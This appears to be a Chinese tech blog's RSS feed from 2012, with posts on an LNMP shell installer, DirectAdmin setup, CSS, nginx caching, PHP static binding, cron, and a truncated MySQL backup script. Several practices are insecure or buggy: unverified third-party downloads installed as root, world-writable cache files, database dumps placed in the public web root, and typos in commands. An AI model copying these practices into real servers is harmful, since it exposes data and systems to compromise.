-* 5  only install php 5.2.17                                                                                                                  *-
-* 6  only install mysql server 5.1.58                                                                                                         *-
EOF
read -p "Now select the top option to install LNMP...1|2|3|4|5|6:" selectopt
case "$selectopt" in
     "1")
         init
        ins_nginx
     ;;
     "2")
          init
          ins_nginx
          ins_mysqlclient
          ins_php52
         ins_php52ext
     ;;
     "3")
          init
          ins_nginx
          ins_mysqlserver
          ins_php52
          ins_php52ext
     ;;
     "4")
          init
     ;;
          "5")
         ins_php52
         ins_php52ext 
     ;;
     "6")
         ins_mysqlserver
     ;;
               *)
          echo "$0 nginx_php"
    ;;
esac[/code]
nginx_php 各部分功能讲述

不管安装nginx php和mysql，如果脚本检测系统没有执行脚本的时候，将会自动执行初始化工作（包括yum 安装相关组件和下载所有的软件包以及配置nginx php服务）

nginx_php里的函数init 表示初始化，分几步来执行初始化：

1） yum 安装nginx php mysql相关组件

2） 在没有发现当前目录有packages的情况下， wget 下载软件包、配置文档、服务脚本到创建的packages下，之后删除软件列表。

3） 设置nginx和php-fpm服务

4） 创建eaccelerator 缓存目录/data0/cache,创建mysql数据目录/data0/mysql/data

5） 将mysql bin路径加入系统PATH中。

6） 创建myql组和mysql用户，www组和www用户

函数check_init表示，检测初始化工作有没有执行。

函数check_nginx表示，检测nginx有没有安装

函数check_php52表示，检测php有没有安装

函数check_mysql表示，检测mysql有没有安装

函数is_version表示，检测系统是64位的还是32位的，如果是64位的话，就安装libunwind库，因为google-perftools在64位系统中用到了libunwind库，在32位的是不需要安装libunwind库的。

函数ins_nginx表示安装nginx，其中有判断系统是否是64位，以便于顺利安装google-pertfools。

函数ins_mysqlclient表示安装mysql 客户端，这是让php 可以连接mysql server。

函数ins_mysqlserver表示安装mysql 服务端，并设置mysql安装目录为mysql组和mysql用户所有，已经配置mysql系统库。

函数ins_php52表示安装php，包括libiconv、autoconf、libmcrypt、mhash、mcrypt、suhosin等安装。并配置php.ini

函数ins_php52ext表示安装php的扩展，包括mecache、eacceletator、imagick等安装。

第二页　修改升级版
[newpage]
本次脚本修正第一版存在的错误，并更新了软件包版本，php 增加suhosin等等，命令参数有了改变. sh nginx_php init|ins_nginx|ins_mysqlserver|ins_mysqlclient|ins_php52|ins_php52ext
[code]#!/bin/bash  
# author:coralzd powered by www.freebsdsystem.org  
# written by coralzd 2010.11.05  
# version 0.1.4 build 20110831  
# description: nginx php mysql install shell  
 
nginx_dir="/usr/local/nginx" 
php52_dir="/usr/local/php52" 
mysql_dir="/usr/local/mysql" 
 
function init()   
{  
 
yum -y install wget gcc gcc-c++ autoconf bison flex re2c  libmhash libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel gd gd-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5-devel libidn libidn-devel openssl openssl-devel openldap openldap-devel nss_ldap openldap-clients openldap-servers  
 
read -p "Now,will download nginxphp software...Y|y:"  nginxphp  
 
case "$nginxphp" in   
 
     Y|y)  
 
echo -n "starting download nginx_php ..." 
cat > list << "EOF" &&  
nginx-1.0.1.tar.gz  
php-5.2.17.tar.gz  
php-5.2.17-fpm-0.5.14.diff.gz  
libiconv-1.13.1.tar.gz  
libmcrypt-2.5.8.tar.gz  
mcrypt-2.6.8.tar.gz  
memcache-2.2.5.tgz 
mhash-0.9.9.9.tar.gz  
mysql-5.1.58.tar.gz  
suhosin-patch-5.2.17-0.9.7.patch 
pcre-8.10.tar.gz  
autoconf-2.13.tar.gz  
eaccelerator-0.9.5.3.tar.bz2  
PDO_MYSQL-1.0.2.tgz 
libunwind-0.99.tar.gz  
ImageMagick.tar.gz  
imagick-2.3.0.tgz 
google-perftools-1.6.tar.gz  
fcgi.conf  
php.ini  
my.cnf  
nginx.conf  
php-fpm.conf  
EOF  
mkdir packages  
        for i in `cat list`  
do  
if [ -s packages/$i ]; then  
  echo "$i [found]" 
else 
  echo "Error: $i not found!!!download now......" 
  wget http://www.freebsdsystem.org/linux/nginx-php/$i -P packages/  
fi  
wget http://www.freebsdsystem.org/linux/nginx-php/nginxd  
wget http://www.freebsdsystem.org/linux/nginx-php/php-fpm  
mv nginxd /etc/init.d/  
mv php-fpm /etc/init.d/  
chmod 755 /etc/init.d/*  
chkconfig --add nginxd  
chkconfig --add php-fpm  
echo "create the eaccelerator directory to /data0/cache" 
mkdir /data0/cache  
echo "create the mysql data directory to /data0/mysql/data" 
mkdir -p /data0/mysql/data  
echo "PATH=/usr/local/mysql/bin/:$PATH" >> /etc/profile  
source  /etc/profile  
done  
;;  
 
*)  
 
  echo -n "exit install script" 
   exit 0 
;;  
 
esac    
 
groupadd www &&  useradd www -s /sbin/nologin -g www  
groupadd mysql && useradd mysql -s /sbin/nologin -g mysql  
echo "www and mysql user && group create!" 
cd packages/  
tar zxf   
/bin/rm -rf list  
 
echo -e "All of installed sucussful!" 
 
 
}  
function is_version()  
 
{  
 
      
if [ `uname -m` == "x86_64" ];then  
tar zxf libunwind-0.99.tar.gz  
tar zxvf libunwind-0.99.tar.gz  
cd libunwind-0.99/  
CFLAGS=-fPIC ./configure  
make CFLAGS=-fPIC  
make CFLAGS=-fPIC install  
cd ../  
else 
 
        echo "your system is 32bit ,not install libunwind lib!" 
fi  
 
 
}  
 
function ins_nginx()  
 
{  
 
cd packages/  
is_version  
tar zxf google-perftools-1.6.tar.gz  
cd google-perftools*  
./configure  
make  
make install  
cd ..  
 
tar zxf pcre-8.10.tar.gz  
cd pcre-*  
./configure   
make  
make install   
cd ..  
tar zxf nginx-1.0.1.tar.gz  
cd nginx-1.0.1 
./configure --prefix=${nginx_dir} --user=www --group=www --with-http_stub_status_module     
 
make && make install  
cd ..   
rm -rf /usr/local/nginx/conf/nginx.conf  
echo "/usr/local/lib" > /etc/ld.so.conf.d/usr_local_lib.conf   
cp nginx.conf /usr/local/nginx/conf/  
cp fcgi.conf /usr/local/nginx/conf/  
echo "nginx installed sucussfully!" 
}  
 
function ins_mysqlserver()  
{  
 
cd packages/  
tar zxf mysql-5.1.58.tar.gz  
cd mysql-5.1.58 
CHOST="x86_64-pc-linux-gnu" 
CFLAGS="-march=nocona -O2 -pipe" 
CXXFLAGS="${CFLAGS}" 
./configure --prefix=/usr/local/mysql --enable-assembler --with-server-suffix=-DZWWW --enable-thread-safe-client --enable-local-infile --enable-thread-safe-client --with-big-tables --with-charset=utf8 --with-client-ldflags=-all-static --with-collation=utf8_general_ci --with-extra-charsets=all --with-mysqld-ldflags=-all-static --with-mysqld-ldflags=-ltcmalloc  --with-mysqld-user=mysql --with-plugins=partition,myisammrg --with-pthread --with-unix-socket-path=/tmp/mysql.sock --without-ndb-debug   
make && make install   
cp support-*/mysql.server /etc/init.d/mysqld  
cp my.cnf /etc/  
chmod 744 /etc/init.d/mysqld  
cd /usr/local/mysql  
 
chown -R mysql:mysql .  
rm -rf sql-bench mysql-test  
mkdir -p /data0/mysql/relaylog/  
mkdir -p /data0/mysql/binlog/  
chown -R mysql.mysql /data0/mysql  
 
/usr/local/mysql/bin/mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/data0/mysql/data  
echo "mysql server  5.1.58 installed successfully!" 
}  
 
function ins_mysqlclient()  
{  
 
cd packages/  
tar zxf mysql-5.1.58.tar.gz  
cd mysql-5.1.58 
CHOST="x86_64-pc-linux-gnu" 
CFLAGS="-march=nocona -O2 -pipe" 
CXXFLAGS="${CFLAGS}" 
./configure "--prefix=${mysql_dir}"   "--with-mysqld-user=mysql"   "--without-debug" "--with-charset=utf8"  "--with-extra-charsets=all"  "--with-pthread" "--with-big-tables" "--enable-thread-safe-client" "--enable-assembler" "--with-readline" "--with-ssl" "--enable-local-infile"  "--without-server"   
 
make && make install  
cd /usr/local/mysql  
chown -R mysql:mysql .  
rm -rf sql-bench mysql-test  
echo "mysql client  5.1.58 installed successfully!" 
}  
function ins_php52()          
{  
cd packages/  
tar zxf libiconv-1.13.1.tar.gz  
cd libiconv-1.13.1/  
./configure --prefix=/usr/local  
make  
make install  
cd ../  
 
tar zxf autoconf-2.13.tar.gz  
cd autoconf-2.13 
./configuire --prefix=/usr  
make && make install  
cd ..  
 
tar zxf libmcrypt-2.5.8.tar.gz  
cd libmcrypt-2.5.8/  
./configure  
make  
make install  
/sbin/ldconfig  
cd libltdl/  
./configure --enable-ltdl-install  
make  
make install  
cd ../../  
 
tar zxf mhash-0.9.9.9.tar.gz  
cd mhash-0.9.9.9/  
./configure  
make  
make install  
cd ../  
 
ln -s /usr/local/lib/libmcrypt.la /usr/lib/libmcrypt.la  
ln -s /usr/local/lib/libmcrypt.so /usr/lib/libmcrypt.so  
ln -s /usr/local/lib/libmcrypt.so.4 /usr/lib/libmcrypt.so.4 
ln -s /usr/local/lib/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4.4.8 
ln -s /usr/local/lib/libmhash.a /usr/lib/libmhash.a  
ln -s /usr/local/lib/libmhash.la /usr/lib/libmhash.la  
ln -s /usr/local/lib/libmhash.so /usr/lib/libmhash.so  
ln -s /usr/local/lib/libmhash.so.2 /usr/lib/libmhash.so.2 
ln -s /usr/local/lib/libmhash.so.2.0.1 /usr/lib/libmhash.so.2.0.1 
ln -s /usr/local/bin/libmcrypt-config /usr/bin/libmcrypt-config  
 
tar zxf mcrypt-2.6.8.tar.gz  
cd mcrypt-2.6.8/  
/sbin/ldconfig  
./configure  
make  
make install  
cd ../  
 
 
tar zxf php-5.2.17.tar.gz  
gzip -cd php-5.2.17-fpm-0.5.14.diff.gz | patch -d php-5.2.17 -p1  
cd php-5.2.17/  
patch -p1 -i ../suhosin-patch-5.2.17-0.9.7.patch 
./buildconf --force    
./configure --prefix=${php52_dir} --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-config-file-path=${php52_dir}/etc  --with-iconv-dir=/usr/local --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --enable-xml --disable-rpath --enable-discard-path --enable-safe-mode --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curl --with-curlwrappers --enable-mbregex --enable-fastcgi --enable-fpm --enable-force-cgi-redirect --enable-mbstring --with-mcrypt --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-pcntl --enable-sockets --with-ldap --with-ldap-sasl --with-xmlrpc --enable-zip --enable-soap --enable-suhosin --enable-ftp   
make ZEND_EXTRA_LIBS='-liconv' 
make install  
cd ..  
cp php.ini /usr/local/php52/etc/  
cp php-fpm.conf /usr/local/php52/etc/  
 
echo "/usr/local/mysql/lib/mysql" >> /etc/ld.so.conf.d/mysql_lib.conf  
/sbin/ldconfig  
echo "php52 installed successfully!" 
}  
 
function ins_php52ext()  
 
{  
cd packages/  
 
tar zxf memcache-2.2.5.tgz 
cd memcache-2.2.5/  
${php52_dir}/bin/phpize  
./configure --with-php-config=${php52_dir}/bin/php-config  
make  
make install  
cd ../  
 
tar jxf eaccelerator-0.9.5.3.tar.bz2  
cd eaccelerator-0.9.5.3 
${php52_dir}/bin/phpize  
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=${php52_dir}/bin/php-config  
make  
make install  
cd ../  
 
#tar zxf PDO_MYSQL-1.0.2.tgz  
#cd PDO_MYSQL-1.0.2/  
#${php52_dir}/bin/phpize  
#./configure --with-php-config=${php52_dir}/bin/php-config --with-pdo-mysql=${mysql_dir}  
#make  
#make install  
#cd ../  
 
tar zxf ImageMagick.tar.gz  
cd ImageMagick-6.5.1-2/  
./configure  
make  
make install  
cd ../  
 
tar zxf imagick-2.3.0.tgz 
cd imagick-2.3.0/  
${php52_dir}/bin/phpize  
./configure --with-php-config=${php52_dir}/bin/php-config  
make  
make install  
cd ..  
 
 
echo "php52 extension installed successfully!" 
 
 
}  
 
case $1 in   
 
 
init)  
 
        init   
         ;;  
ins_mysqlserver)  
           
          ins_mysqlserver  
 
          ;;  
ins_mysqlclient)  
          ins_mysqlclient  
          ;;  
ins_nginx)  
           ins_nginx   
           ;;  
ins_php52)  
       ins_php52    
           ;;  
ins_php52ext)  
       ins_php52ext  
       ;;  
*)  
 
     echo "Usage:`basename $0` {init|ins_mysqlserver|ins_mysqlclient|ins_php52|ins_php52ext}" 
         ;;  
esac[/code]]]></description>
			<link>http://www.lvtao.net/html/1807.html</link>
			<pubDate>2012-01-29, 11:50:35</pubDate>
		</item>
		<item>
			<title>DA(DirectAdmin)面板安装教程</title>
			<author>memory</author>
			<description><![CDATA[DirectAdmin管理面板，就是我们俗称的DA面板。因为国外对盗版打击相当严厉，所以DA目前盗版相当少，也几乎没有人敢将盗版DA装在国外VPS或者服务器上（我不是说绝对没有哦O(∩_∩)O）
关于安装教程，在网上有非常详细的教程，我就不详细叙述，只是简单的说下过程。

在安装DA面板之前，我们首先必须要有Client ID和License ID（:没有这个正版的授权，就不用装了，嘿嘿，好了言规正传！首先PUTTY登录SSH，下面我只是列出代码（后面括号中内容为注释哦）：

yum -y install gcc gcc-c++ flex make perl（安装环境）

这个过程根据你VPS（服务器）配置了，几分钟到十几分钟，都是正常的，只要不报错，不退出，就OK啦~

接下来，我们正式安装DirectAdmin，看代码：
    cd /tmp（到tmp文件夹，把脚本下载到这里）

    wget http://www.directadmin.com/setup.sh（下载脚本）

    chmod 755 setup.sh（更改脚本执行权限）

    ./setup.sh（执行安装）

上面的代码，每一行，回车，到下一步。

在安装过程中，系统会提示你输入DirectAdmin的Client ID和License ID
HOTSNAME：这个可以随便输入一个域名，建议用个不用的二级域名吧，比如：da.zrblog.net

提示Is this correct?OpenVZ请选择No！Xen请选择Yes！（因为OpenVZ使用的是虚拟技术，DA无法获知VPS的主IP）

接着再次提示Is this correct?Xen请选择Yes，OpenVZ可能需要输入您的主IP地址。

Enter your choice（1 or 2）：2（这里选择2，安装最新PHP组件）

接下来，需要DA的参数配置，我是新手，就选择默认安装了。

Would you like the default settings of apache 2.2 and php 5 cli? (y/n): y（yes，默认安装）
[img]/upload/files/20120127/2012041039-WHfauzAmQK.jpg[/img]
现在，你可以坐下来，喝杯茶，抽支烟，聊聊QQ了，等待系统完全安装完成。

最后，重启下DA并清理下残余文件。

    service directadmin restart

    yum clean all

【小提示】

1.安装完成后，请注意看屏幕，记住你的admin密码，这个密码是随机的，有点麻烦（后面可以登录DA后台更改）。

2.假如您安装完成后，却发现无法登录，可能是因为我们的VPS是OpenVZ，解决方法是：SFTP到VPS，进入/usr/local/directadmin/conf/目录，编辑directadmin.conf（可以直接用FlashFXP选定文件，编辑，也可以SSH用VI命令编辑），找到ethernet_dev=eth0，更改为ethernet_dev=venet0:0，然后保存，退出，就可以登录了!]]></description>
			<link>http://www.lvtao.net/html/1806.html</link>
			<pubDate>2012-01-27, 16:11:16</pubDate>
		</item>
		<item>
			<title>CSS属性 - vertical-align 垂直对齐属性</title>
			<author>memory</author>
			<description><![CDATA[CSS属性 - vertical-align 垂直对齐属性
说明

该CSS属性用来设定垂直对齐方式。

值：baseline | sub | super | top | text-top | middle | bottom | text-bottom | inherit

可用值	值的说明
auto	根据 layout-flow属性值进行对齐。
baseline	缺省值。将支持valign的对象的内容与对象顶端对齐。
sub	

垂直对齐文本的下标
super	

垂直对齐文本的上标
top	将支持valign的对象的内容与对象顶端对齐
middle	将支持valign特性的对象的内容与对象中部对齐
bottom	将支持valign特性的对象的内容与对象底部对齐
text-top	将支持valign特性的对象的文本与对象顶端对齐
text-bottom	将支持valign特性的对象的文本与对象底端对齐

当 layout-flow 值为 horizontal 时，auto 等同于 baseline。当 layout-flow 值为 vertical-ideographic 时，auto 等同于 middle。
示例代码

td {vertical-align:top;} 

继承

否
适用于

行内元素和表格单元元素 (inline-level and "table-cell" elements)。]]></description>
			<link>http://www.lvtao.net/html/1805.html</link>
			<pubDate>2012-01-17, 18:23:34</pubDate>
		</item>
		<item>
			<title>Nginx Proxy 代理，图片缓存配置</title>
			<author>memory</author>
			<description><![CDATA[图片服务器使用 Nginx 的 proxy_store 把主服务器的静态内容缓存到本地。
一次访问结束后，以后的访问将直接在本地硬盘上读写。
从而分担流量负载 

[code]    server {
        include         listen.conf;
        server_name     www.lvtao.net;

        location ~ \.php$ {
            limit_conn   one  20;
            limit_rate   50k;
            proxy_pass http://s1;
            include proxy.conf;
        }

        location / {
            expires max;
            root /data/nginx_cache/ucenter;
            proxy_store on;
            proxy_store_access user:rw group:rw all:rw;
            proxy_temp_path /data/nginx_cache/ucenter;
            include proxy.conf;
            if ( !-e $request_filename) {
            proxy_pass  http://s1;
            }
        }
}

#######################
## 附 proxy.conf 内容 ##
#######################

proxy_redirect          off;
proxy_set_header        Host $host;
proxy_set_header        X-Real-IP $remote_addr;
proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header        Accept-Encoding 'gzip';
client_max_body_size    100m;
client_body_buffer_size 256k;

proxy_connect_timeout   60;
proxy_send_timeout      60;
proxy_read_timeout      60;

proxy_buffer_size       512k;
proxy_buffers           8 512k;
proxy_busy_buffers_size 512k;
proxy_temp_file_write_size 512k;
[/code]]]></description>
			<link>http://www.lvtao.net/html/1804.html</link>
			<pubDate>2012-01-12, 11:54:01</pubDate>
		</item>
		<item>
			<title>PHP5.3_延迟静态绑定_static</title>
			<author>memory</author>
			<description><![CDATA[基于PHP版本: 5.3.5

PHP5.3 以后引入了延迟静态绑定:

static(关键字) 类似于 self(关键字) , 但它指向的是被调用的类(Document) 而不是包含类(DomainObject) , static 和 self 的区别:
Code:
[code]<?php
class DomainObject{
	public static function createStatic(){
		return new static();		
	}
	public static function createSelf(){
		return new self();
	}
}

class User extends DomainObject{
	
}

class Document extends DomainObject{
	
}

echo '<pre>';
var_dump( Document::createStatic());
var_dump( Document::createSelf());[/code]
Result: 
[code]object(Document)[1]
object(DomainObject)[1][/code]
以前你这么写:
[code]abstract class DomainObject{

}

class User extends DomainObject{
	public static function create(){
		return new User();
	}
}

class Document extends DomainObject{
	public static function create(){
		return new Document();
	}
}[/code]
现在, 你可以这么写: 
[code]abstract class DomainObject{
	public static function create(){
		return new static();
	}
}

class User extends DomainObject{

}

class Document extends DomainObject{

}[/code]
好处: 可以节省大量重复代码~]]></description>
			<link>http://www.lvtao.net/html/1803.html</link>
			<pubDate>2012-01-10, 12:08:35</pubDate>
		</item>
		<item>
			<title>中国大量程序员都是孔乙己 孔乙己们，调整心态吧。</title>
			<author>memory</author>
			<description><![CDATA[   中国大量程序员都是孔乙己，悲催可笑的心态。
   
    他们从小读着各种书籍，听着来自父母，教师，或者叔叔伯伯的教诲，都是关于什么比尔盖茨，李开复的各种乱七八糟计算机财富神话，这些神话在他们从小到大，被人无数次的讲。这些神话漂洋过海，被各种媒介传播，加工，早已经失去了真实性，早已经成了童话，他们很小开始把这些童话作为现实世界奋斗的目标。实际上，任何计算机财富大佬的发迹，都拥有和别人不一样的社会背景和各种生活复杂元素共同促成，绝非单靠技术就能实现。
   
    他们以各种基础走向程序员道路，大专，本科，名牌大学，研究生，培训，等等。他们会写让卖菜大爷眼花缭乱的程序，也会一些蹩脚的英语日语，引的打工小妹眉开眼笑。大家都以赞许敬佩的眼光看着他们。极大地满足了他们的虚荣心。所以，他们喜欢对外行人谈论自己的工作，或者高谈阔论自己的将来。
   
    他们开始上班了。他们西装革履的出入大城市的写字楼，拿着跟工地建筑工一个水平的薪水。他们张口闭口这个银行系统，那个电信系统，或许连韭菜或者麦苗都分不清。他们觉得自己的工作很体面，自己掌握了了不起的知识，自己非常了不起，歧视一般行业者，比如民工，小贩，工厂工人。十有八九，他们的老板年轻时就是做一般行业的。再十有八九，搞技术的当不了老板。他们最喜欢内部歧视。工作时间长的熟练技术工，往往把自己幻想成技术高手，现实生活中他们把自己抬的很高，不屑于和晚辈交往，在网上以得意洋洋的口气发各种帖子，比如对新人的指导，这种人不适合搞IT，那种人没有天赋，什么优秀程序员必备品质，程序员成长道路，或者吹捧自己天生热爱编程，时刻拥有编程的激情。有些有点运气的，当了个芝麻大的小官，就喜欢发表些面试帖子，用高高在上的姿态，对应聘者百般嘲讽。
   
    他们脾气性格不太好，时不时冒出一些古怪的想法。心底也黑暗。（这个是由于老板没把他们当人，写程序累的，也有可能是天生的）对于部下，一会看这个不顺眼，一会看那个不高兴。于是，便卑鄙的滥用职权开掉别人。
   
    没职权的，也是心高气傲，总觉得自己很忙，新人问的问题都是傻逼，很不耐烦的指导，或者不屑于回答。新人必然是技术差，没经验，这是天经地义的。这竟然成了他们嘲讽新人的理由。
   
    他们对自己的评价很高，自我感觉很良好，要求太高，以至于根本找不到女朋友。（程序员的外貌，十有八九没有理发店的小伙子帅气。一般而言，面部五官都是很丑的。）对此，他们喜欢听别人说他事业狂，没时间谈恋爱。
   
    他们时刻想把自己打造成一个高超能力，高超薪水的标杆式人物，为此，不停的在各公司之间跳槽，不停的抱怨工作没前途，结果连件小事都做不成。
   
    所有的一切，都说明，他们是一个十足的小人物，普通的凡人。
   
    政府推出大量廉租房，是老百姓的福气。房产商针对一小撮人大建别墅，人人恨之入骨。大米小麦，顿顿吃，养活了每个人，熊掌鱼翅，几年一次品品味而已。传统药物，价廉量足，是中国老百姓的医疗保障，家家都有储备。进口天价药，病一次就让你破产。
   
    中国的软件公司，绝大部分都是赚辛苦钱，需要大量干苦力活的人。这是真正的现实。人人都要做比尔盖茨，做李开复，成为富豪，对中国企业来说，就跟老百姓买别墅，吃鱼翅，用进口药样的，可能么？
   
    那些张口大谈什么激情，什么创意的人，各种拽人，各种自以为是的人，百分之九十九点九九的，都是学生或者初入行业。其实软件行业说简单也简单，你认识了人，接到单子，你就是老板，你就成功了，你就实现理想了。
   
    佛曰，“一切随缘”，“命里有时终须有，命里没有莫强求”。孔乙己们，调整心态吧。
文章出自 http://my.oschina.net/chwencong/blog/38837]]></description>
			<link>http://www.lvtao.net/html/1802.html</link>
			<pubDate>2012-01-10, 12:00:06</pubDate>
		</item>
		<item>
			<title>100个和尚分食100个馒头，大和尚1人吃3个馒头，小和尚3人吃1个馒头，100个和尚各有多少人？</title>
			<author>memory</author>
			<description><![CDATA[之前有看到鸡兔同笼的算法 大概如下:
头12，脚40，鸡兔各几只
算法：
假设鸡和兔训练有素
吹一声哨，它们抬起一只脚，(40-12=28)
再吹一声哨，它们又抬起一只脚，(28-12=16)
这时鸡都一屁股坐地上了，兔子还两只脚立着
所以，兔子有16/2=8只，鸡有12-8=4只。
这就是高效的算法!  

再来看看“百僧分百馍”问题：100个和尚分食100个馒头，大和尚1人吃3个馒头，小和尚3人吃1个馒头，100个和尚各有多少人？
假设和尚们的食量都变大了馒头也变多了(和尚食量和馒头数量都放大3倍,故和尚数量不变,整数好算),变成了大和尚1人吃9个馒头,小和尚1人吃1个馒头(整数好算一点),馒头数量也变多了变成300个,先每人吃1个馒头,所有的小和尚都吃饱了..剩下的都是大和尚吃的..大和尚吃了1个还要吃8个,剩下200个馒头..故大和尚数量是200/8=25个,小和尚数量是100-25=75个....若只有92个和尚分食100个馒头.那么问题变成(300-92)/8=26个,小和尚是92-26=66个...验证馒头数量是26*3+66/3=78+22=100个..OY成功!]]></description>
			<link>http://www.lvtao.net/html/1801.html</link>
			<pubDate>2012-01-10, 11:46:04</pubDate>
		</item>
		<item>
			<title>linux中Cron定时任务系统命令详解</title>
			<author>memory</author>
			<description><![CDATA[有很多同学在购买VPS之后,需要用到计划任务.但是又对计划任务不太了解,所以.今天我们的帮助中心主要是给大家提供一些关于计划任务的Linux教程.
cron是一个linux下 的定时执行工具 ，可以在无需人工干预的情况下运行作业。由于Cron 是Linux 的内置 服务，但它不自动起来，可以用以下的方法 启动、关闭 这个服务:
/sbin/service crond start //启动服务
/sbin/service crond stop //关闭服务
/sbin/service crond restart //重启服务
/sbin/service crond reload //重新载入配置

你也可以将这个服务在系统启动的时候自动启动:
在/etc /rc.d/rc.local 这个脚本的末尾加上:
　　/sbin/service crond start
现在C ron这个服务已经在进程里面了，我们就可以用这个服务了，Cron服务提供以下几种接口供大家使用:

1.直接用crontab 命令编辑

cron服务提供crontab命令来设定cron服务的，以下是这个命令的一些参数 与说明:

　　crontab -u //设定某个用户的cron服务，一般root 用户在执行 这个命令的时候需要此参数


　　crontab -l //列出某个用户cron服务的详细内容


　　crontab -r //删除 没个用户的cron服务


　　crontab -e //编辑某个用户的cron服务

比如说root查看自己的cron设置:crontab -u root -l

再例如，root想删除fred的cron设置:crontab -u fred -r

在编辑cron服务时，编辑的内容有一些格式和约定，输入:crontab -u root -e

进入vi 编辑模式 ，编辑的内容一定要符合下面的格式:

*/1 * * * * ls >> /tmp/ls.tx t


任务调度的crond常驻命令

crond 是linux用来定期执行程序的命令。当安装完成操作系统之后，默认便会启动此任务调度命令。crond命令每分锺会定期检查是否有要执行的工作，如果有要执行的工作便会自动执行该工作。

1、linux任务调度的工作主要分为以下两类：

*系统执行的工作：系统周期性所要执行的工作，如备份系统数据、清理缓存

*个人执行的工作：某个用户定期要做的工作，例如每隔10分钟检查邮件服务器是否有新信，这些工作可由每个用户自行设置。

2.crontab命令选项:

-u指定一个用户,

-l列出某个用户的任务计划,

-r删除某个用户的任务,

-e编辑某个用户的任务

3.cron文件语法:

分 小时 日 月 星期 命令

0-59 0-23 1-31 1-12 0-6 command (取值范围,0表示周日一般一行对应一个任务)

4.记住几个特殊符号的含义:

"*"代表取值范围内的数字,

"/"代表"每",

"-"代表从某个数字到某个数字,

","分开几个离散的数字

一、任务调度设置文件的写法

可用crontab -e命令来编辑,编辑的是/var/spool/cron下对应用户的cron文件,也可以直接修改/etc/crontab文件

具体格式如下：

Minute Hour Day Month Dayofweek command

分钟 小时 天 月 天每星期 命令

每个字段代表的含义如下：

Minute 每个小时的第几分钟执行该任务

Hour 每天的第几个小时执行该任务

Day 每月的第几天执行该任务

Month 每年的第几个月执行该任务

DayOfWeek 每周的第几天执行该任务

Command 指定要执行的程序

在这些字段里，除了“Command”是每次都必须指定的字段以外，其它字段皆为可选字段，可视需要决定。对于不指定的字段，要用“*”来填补其位置。

举例如下：

　　5 * * * * ls //指定每小时的第5分钟执行一次ls命令


　　30 5 * * * ls //指定每天的 5:30 执行ls命令


　　30 7 8 * * ls //指定每月8号的7：30分执行ls命令


　　30 5 8 6 * ls //指定每年的6月8日5：30执行ls命令


　　30 6 * * 0 ls //指定每星期日的6:30执行ls命令 [ 注：0表示星期天，1表示星期1，以此类推，也可以用英文来表示，sun表示星期天，mon表示星期一等。 ]


　　30 3 10,20 * * ls //每月10号及20号的3：30执行ls命令 [注：“，”用来连接多个不连续的时段 ]


　　25 8-11 * * * ls //每天8-11点的第25分钟执行ls命令 [注：“-”用来连接连续的时段 ]


　　*/15 * * * * ls //每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ]


　　30 6 */10 * * ls //每个月中，每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6：30执行一次ls命令。 ]

每天7：50以root 身份执行/etc/cron.daily目录中的所有可执行文件

　　50 7 * * * root run-parts /etc/cron.daily //[ 注：run-parts参数表示，执行后面目录中的所有可执行文件。 ]


二、新增调度任务

新增调度任务可用两种方法：

1、在命令行输入: crontab -e 然后添加相应的任务，wq存盘退出。

2、直接编辑/etc/crontab 文件，即vi /etc/crontab，添加相应的任务。

三、查看调度任务

crontab -l //列出当前的所有调度任务

crontab -l -u jp //列出用户jp的所有调度任务

四、删除任务调度工作

crontab -r //删除所有任务调度工作

五、任务调度执行结果的转向

例1：每天5：30执行ls命令，并把结果输出到/jp/test文件中

30 5 * * * ls >/jp/test 2>&1

注：2>&1 表示执行结果及错误信息。

编辑/etc/crontab 文件配置cron

cron服务每分钟不仅要读一次/var/spool/cron内的所有文件，还需要读一次/etc/crontab,因此我们配置这个文件也能运用cron服务做一些事情。用crontab配置是针对某个用户的，而编辑/etc/crontab是针对系统的任务。此文件的文件格式是:

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root //如果出现错误，或者有数据输出，数据作为邮件发给这个帐号

HOME=/ //使用者运行的路径,这里是根目录

# run-parts

　01 * * * * root run-parts /etc/cron.hourly //每小时执行/etc/cron.hourly内的脚本

　　02 4 * * * root run-parts /etc/cron.daily //每天执行/etc/cron.daily内的脚本

　　22 4 * * 0 root run-parts /etc/cron.weekly //每星期执行/etc/cron.weekly内的脚本

　42 4 1 * * root run-parts /etc/cron.monthly //每月去执行/etc/cron.monthly内的脚本

大家注意"run-parts"这个参数了，如果去掉这个参数的话，后面就可以写要运行的某个脚本名，而不是文件夹名了

例如： 1、在命令行输入: crontab -e 然后添加相应的任务，wq存盘退出。

2、直接编辑/etc/crontab 文件，即vi /etc/crontab，添加相应的任务

　11 2 21 10 * rm -rf /mnt/fb]]></description>
			<link>http://www.lvtao.net/html/1800.html</link>
			<pubDate>2012-01-09, 16:35:44</pubDate>
		</item>
		<item>
			<title>每日备份mysql到网站目录</title>
			<author>memory</author>
			<description><![CDATA[今天一客户的VPS被入侵,这位高人直取该客户的数据库.删除数据库后还不算完..还不能让你有喘息的机会,接着拿了一堆文件来反复读写,最后将文件系统破坏的一塌糊涂...阿川和几位朋友整整折腾了24小时未果...再咬牙的同时,做了这么一个备份数据库到网站根目录的脚本,至于你备份数据之后想干嘛......那就是你的事了..比如可以上传到其他的FTP空间,还可以发邮件给你自己,等等.大家举一反三.多多注意安全.以下是脚本内容

[code]#!/bin/bash
MYSQL_USER=数据库用户名
MYSQL_PASS=密码
MYSQL_DATA=用户名
DataBakName=Data_$(date +"%Y%m%d").tar.gz
rm -rf /home/backup/Data_$(date -d -3day +"%Y%m%d").tar.gz
/usr/local/mysql/bin/mysqldump -u$MYSQL_USER -p$MYSQL_PASS
 --databases $MYSQL_DATA
